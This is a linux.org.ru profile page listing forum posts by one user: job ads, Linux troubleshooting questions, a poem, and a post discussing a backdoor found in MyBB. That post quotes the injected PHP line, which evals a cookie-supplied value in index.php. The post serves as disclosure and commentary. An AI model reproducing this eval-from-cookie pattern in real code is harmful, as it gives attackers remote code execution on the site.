LINUX.ORG.RU

Сообщения ei-grad

 

Собеседования - Что вам не нравится в X?

cast beastie, навеяно www.linux.org.ru/forum/talks/14177326?lastmod=1524826225110#comment-14177375

Про вашу методику собеседования из того удаленного треда. У меня немного подгорает от этой темы.

Я вот не могу ответить на вопрос «что вам не нравится?» ни про Python, ни про Go, которые знаю вроде бы довольно хорошо. Зато вот про Rust, C++ и кучу других языков, знания по которым у меня весьма поверхностны - легко. Если тебе не нравится инструмент - нафига учиться с ним работать? Языков десятки, возьми тот который нравится.

Вообще люди, которые такое на собеседованиях спрашивают, обычно странные. Мне как-то один чувак привел в пример что ожидал услышать что в python'е нельзя raw-строки заканчивать слешом. *****, да я с этим столкнулся в универе 10 лет назад, забил и дальше пошел, не вижу смысла останавливаться в своем развитии из за такой мелочи. Может он ещё хотел услышать что мне не нравится GIL? Потом он же ещё про git vs mercurial хотел похоливарить, прочитав одноименную статью с хабра. Ну да фиг с ним. В Go правда куча грабель и неочевидных вещей, моя любимая - что в самой популярной софтине написанной на Go, невозможно в рамках Go runtime корректно реализовать её основную фичу. Но там просто так на листочке фиг распишешь чтобы интервьюер смог в это вкурить, и вообще он сидит и смотрит на тебя такими глазами как будто хочет за generic'и потереть.

Я сам хорошо собеседовать не умею, но это имхо за гранью. Когда встречаюсь с таким вопросом, и интервьюер несет фигню про то что обязательно что-то в используемом инструменте должно не нравиться, то просто вежливо отказываюсь от продолжения такого собеседования.

 , ,

ei-grad
()

DevOps в Едадил, Москва, 120-150 т.р.

Мы ищем DevOps инженера, который будет заниматься поддержкой и развитием инфраструктуры проекта Едадил:

  • Администрирование серверов под Ubuntu
  • Ansible - написание ролей и плейбуков для настройки системы, деплоя новых сервисов и выкатки обновлений, поддержание порядка в репозитории с ролями и плейбуками
  • Поддержка и настройка системы мониторинга на TICK stack (Influx)
  • Поддержка и развитие CI/CD (GitLab CI)

Мы предлагаем:

  • Небольшая команда перспективного стартапа - талантливые коллеги, отличные условия для саморазвития и быстрого изучения современных технологий
  • Рабочее место в современном и комфортном офисе, бесплатную парковку, монитор и ноутбук последней модели
  • Свободный рабочий график
  • Компенсация питания, спортзал в офисе и свежие фрукты каждый день

Требования:

  • Хороший *nix-background
  • Опыт разбора инцидентов с сетевыми и системными проблемами
  • Опыт работы с высоконагруженными веб-проектами
  • Ansible
  • Docker
  • Git

Приветствуется:

  • Опыт разработки на Python и Golang
  • GitLab CI
  • TICK stack
  • PostgreSQL
  • Elasticsearch

О нас:

Едадил — лучшее мобильное приложение про скидки в магазинах в России и Европе.

Мы собираем акции и предложения в федеральных и региональных сетях продуктовых, детских, косметических и хозяйственных магазинов по всей стране: от Калининграда до Сибири. Едадил работает во всех 16 городах-миллионниках России, а также в сотнях других городов и населенных пунктов в 66 регионах страны.

Мы постоянно растем и развиваемся, увеличивая охват, внедряя новый функционал и создавая новые ценности для наших пользователей.

Ждем резюме на cv@edadeal.ru

 , , , edadeal,

ei-grad
()

Что было непривычно при первом использовании Linux?

Помните ли вы, какие отличия от привычного вам offtopic вы заметили при первом использовании Linux?

 

ei-grad
()

FBReader стал тормозить

Внезапно стало невозможно книги читать. На перелистывание уходит почти секунда.

Идей куда копать - нет. Версия FBReader в арче с 2013 года...пока писал топик, идея появилась - тормозит freetype2

Снес freetype2-infinality, поставил обычный, FBReader стал куда отзывчивее, но всё равно читать неудобно - лаг ощутимый 200-300 мс.

Даже не знаю теперь чего делать, куда писать.

edit: см. FBReader стал тормозить (комментарий)

 , , freetype2

ei-grad
()

Положить JSON Lines в RDBMS

Нужно импортировать большой набор данных в виде файлов содержащих JSON Lines в реляционную базу. Каждая строчка в файле - документ какого-то типа. Какого типа - прописывается в определенном поле.

Не буду говорить что база это PostgreSQL - JSON поля не предлагать :-). MongoDB / ElasticSearch / etc тоже не предлагать. EAV тоже не предлагать.

Для каждого типа документов должна быть отдельная таблица, отображающая структуру документа.

Как бы вы решали такую задачу?

 , , , ,

ei-grad
()

Archlinux local mail

Киньте best practice какой MTA для loopback-only почты лучше под арчем поднять? Похоже что такого, чтоб «pacman -S ... и всё работает» нет, грусть-пичаль. Очень нужен чтобы выполнение crontab'ов отслеживать.

Конфиг Postfix'а в wiki - устарел. А я уже лет 7 с MTA не ******.

 , , , ,

ei-grad
()

Проблемы с интерфейсом при выключенном promisc mode

Сегодня увидел знакомый со студенческих лет симптом - сеть в виртуальной машине дико лагает, вероятно теряется часть пакетов, при этом избирательно - установившаяся TCP сессия работает ок, но устанавливается один раз из нескольких, UDP тоже шлется/принимается один пакет из нескольких. RX dropped потихоньку растет (сильно меньше чем на самом деле теряется).

При включении promisc mode на интерфейсе всё магически начинает работать хорошо.

Кто-нибудь сталкивался? С чем может быть связано?

 

ei-grad
()

Программист-разработчик PHP / Symfony2, Москва, 80K+

Мы ищем разработчика на Symfony2 (PHP), который будет заниматься развитием серверной части проекта Edadeal.ru:

  • доработка и поддержка административной панели управления для наших контент-менеджеров
  • разработка личного кабинета ретейлера

Мы предлагаем:

  • рабочее место в современном и комфортном офисе на ул. Тимура Фрунзе (БЦ Морозов, офис Яндекса)
  • небольшая дружная команда быстрорастущего стартапа
  • гуманный рабочий график
  • соцпакет с компенсацией питания, спортзалом в офисе и свежими фруктами каждый день
  • бесплатную парковку, монитор и ноутбук последней модели

Необходимые навыки:

  • опыт разработки веб-сервисов на PHP (Symfony2, Doctrine2, HTML, CSS, JS)
  • опыт работы с MySQL, знание SQL и понимание принципов работы реляционных БД
  • базовые знания Python и желание продолжить его изучение
  • опыт командной разработки и использования систем контроля версий исходного кода
  • умение и желание работать в команде

Приветствуется:

  • участие в OpenSource проектах (для принятия решения мы смотрим аккаунты на Github и Bitbucket)
  • участие в соревнованиях по программированию (ACM ICPC) и информационной безопасности (CTF)
  • опыт работы с Flask и SQLAlchemy
  • опыт работы с Elasticsearch
  • опыт работы в Linux (Ubuntu)
  • знание Git и опыт работы по GitFlow
  • понимание принципов работы популярных сетевых протоколов, умение рассказать что происходит при открытии браузера
  • опыт разработки REST API и клиент-серверных приложений
  • опыт использования практик: unit testing, code review, continuous integration
  • опыт работы с Docker и ansible

Рассчитываем найти молодого адекватного специалиста на 80-100 т.р. Но по результатам готовы рассматривать и больше.

Можно откликаться в треде или сюда - http://hh.ru/vacancy/15153882.

 , , едадил,

ei-grad
()

scp remote to remote

Давно ли scp научился копировать с сервера на сервер напрямую? Или всегда умел?

Крутота.

 

ei-grad
()

Построитель отчетов по access log на python

Кто-нибудь видел построитель отчетов по access log на python?

Есть logtools, клевый на первый взгляд набор скриптов для парсинга и анализа логов, но я не вкурил как им по-быстрому наваять отчет типа awstats или sarg.

Писать очередной велосипед неохота :-(.

 , logtools, ,

ei-grad
()

Где в Москве пощупать разные клавиатуры?

Племянник обзавелся механической геймерской клавой Tesoro, я чуток за ней посидел - понравилось. Теперь хочу нормальную клаву на работу.

Может есть в Москве какой-нибудь магазин где можно пощупать разные варианты-модели всяких Razor, Tesoro, SteelSeries и Das keyboard'ов?

Вообще интересуют не только классические механические, но и типа маковских. Но маковской я пытался пользоваться под Linux'ом - постоянно проблемы то с подключением, то с раскладкой. Может что посоветуете?

 

ei-grad
()

Как работает gdb call?

Собственно сабж. Помогите, плиз, разобраться. Не могу найти в коде gdb где он реализуется.

В man ptrace ничего что могло бы помочь реализовать вызов кода в отлаживаемом процессе не вижу.

Откуда копать?

 ,

ei-grad
()

Thinkpad Yoga S1 отключается клавиатура и мышь

Где-то начиная с ядер 3.11-3.15 при отключенной зарядке при запуске startx стали отключаться клавиатура и мышь. Помогает rmmod -f thinkpad_acpi перед запуском startx.

Собственно меня по этому поводу мучает пара вопросов:

1. Как научиться их включать обратно?

2. Где что поковырять чтобы избавиться от такого поведения?

3. Куда правильнее всего будет писать баг-репорт?

 , ,

ei-grad
()

Lenovo Thinkpad Yoga S1 бьется током

Сабж. Невозможно держать на коленях - через обшарпаные углы и через болтики пробивает электричество. Кусается довольно ощутимо.

Что делать, нести в сервис или самому поискать где контачит?

Это уже второй ноут Lenovo за последний год, у первого пара клавиш стала западать, надо купить новую клаву но все руки не дойдут. Думаю перейти на бюджетные Acer'ы, с ними такого говна не было.

ei-grad
()

Посоветуйте контору собрать комп для юр.лица

Собственно сабж, нужно подобрать комплектующие и выставить счет для юр.лица. Чтобы без лишних ндс (ИП не подходят), качественные комплектующие и доставка.

Примерный конфиг, на всякий случай, такой:

  • i7 4770
  • 16Gb DDR3, мать должна поддерживать 32Gb
  • 2x1Tb HDD + 120Gb SSD
  • Wifi 802.11n (ну и Gigabit Ethernet тоже нужен, бывают сейчас машины без него?)
  • видео встроенное

ps. москва...

ei-grad
()

Которую осень по счету...

Которую осень по счету
Гуляешь ты в парках один?
Глядишь на влюбленные пары,
Скучаешь, бредешь нелюдим.

Казалось бы, что тебе нужно?
Ты хакер, каких поискать.
Ну нету подруги - не нужно
Совсем уж вот так раскисать.

Напишешь стихи и отправшь.
Подумаешь «снова не та...»,
И отзыв без чувств прочитаешь,
Стихи это просто слова.

Словами беде не поможешь.
Но где же тебя мне найти,
Ту самую девушку, где же,
Наверное уж не в сети.

И снова всю осень гуляешь
По парку ты в день выходной.
А вечером генту поставишь,
Пошло оно к черту долой...

 ,

ei-grad
()

IPv6 routing 100BASE-T vs 802.11n metric

Столкнулся с тем, что Linux при подключении к IPv6 сети назначает одинаковые метрики шлюзам по-умолчанию в проводном и беспроводном интерфейсах. Однако трафик идет по проводному. Кто-нибудь имеет представление о том, каким образом происходит выбор?

ei-grad
()

Cambridge Audio DacMagic и прочие Hi-Fi USB ЦАП'ы

Заведется ведь с Linux'ом? Вроде стандарты везде одинаковые для USB Audio...

кастую wellcomer

Вообще, накидайте плиз в сторону чего ещё можно посмотреть в этом ценовом диапазоне слушать музыку с ноутбука (c Linux) через наушники.

Или может не париться, а взять какую-нибудь китайскую хрень со встроенным усилителем из http://www.ebay.com/sch/i.html?_nkw=usb dac&_udlo=150 ? Такую например - http://grado.kiev.ua/News/277/AUNE-mini-...litel.aspx

ei-grad
()

non-blocking write

Почему данный вызов write блокируется?..

#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


const int SIZE = 1024*1024*512;

int main() {

    char* buf = (char*) malloc(SIZE);
    if (buf == NULL) {
        fprintf(stderr, "Can't allocate memory!\n");
        exit(1);
    }
    memset(buf, 0, SIZE);

    remove("test.tmp");

    int fd = open("test.tmp", O_WRONLY|O_CREAT|O_NONBLOCK);
    printf("Writing...\n");
    write(fd, buf, SIZE);
    printf("Done!\n");
    close(fd);

    return 0;
}
ei-grad
()

[о вечном] Бэкдор в MyBB

По мотивам OpenNET: http://www.opennet.ru/opennews/art.shtml?num=32128

для Ъ:

Уязвимость системы в файле index.php:

eval(«\$loginform = \»".$templates-get(«index_loginform»).«\»;".@$col[23]);

Кто-то всего лишь добавил туда $col[23] которое берется из куки. В общем за что боролись, на то и напоролись. Нафига там вообще eval... ну да ладно, не суть.

Суть в том, что теперь по всем интернетам этих уязвимых форумов пруд пруди, и неизвестно когда они такие закончатся. Только на первых страницах выдачи яндекса 8 сайтов из 50 - уязвимы. И как-то не очень верится, что хотя бы половина из них когда-нибудь обновятся, уж скорее тупо закроются и отойдут в заботливые лапы киберсквоттеров.

А сколько похожих ляпов осталось на века от других движков, набыдлокоженных на этих ваших пых-пыхах?.. Если задуматься, то вся эта долбаная World Wide Web - одна большая дыра. Порой даже удивляюсь, почему до сих пор никакой червь с толстой базой данных по дыркам не захватил половину Интернета, не вынес к чертям какую-нибудь финансовую биржу затяжным DDoS'ом и не вызвал коллапс мировой экономики?

ei-grad
()

RSS подписка на новые темы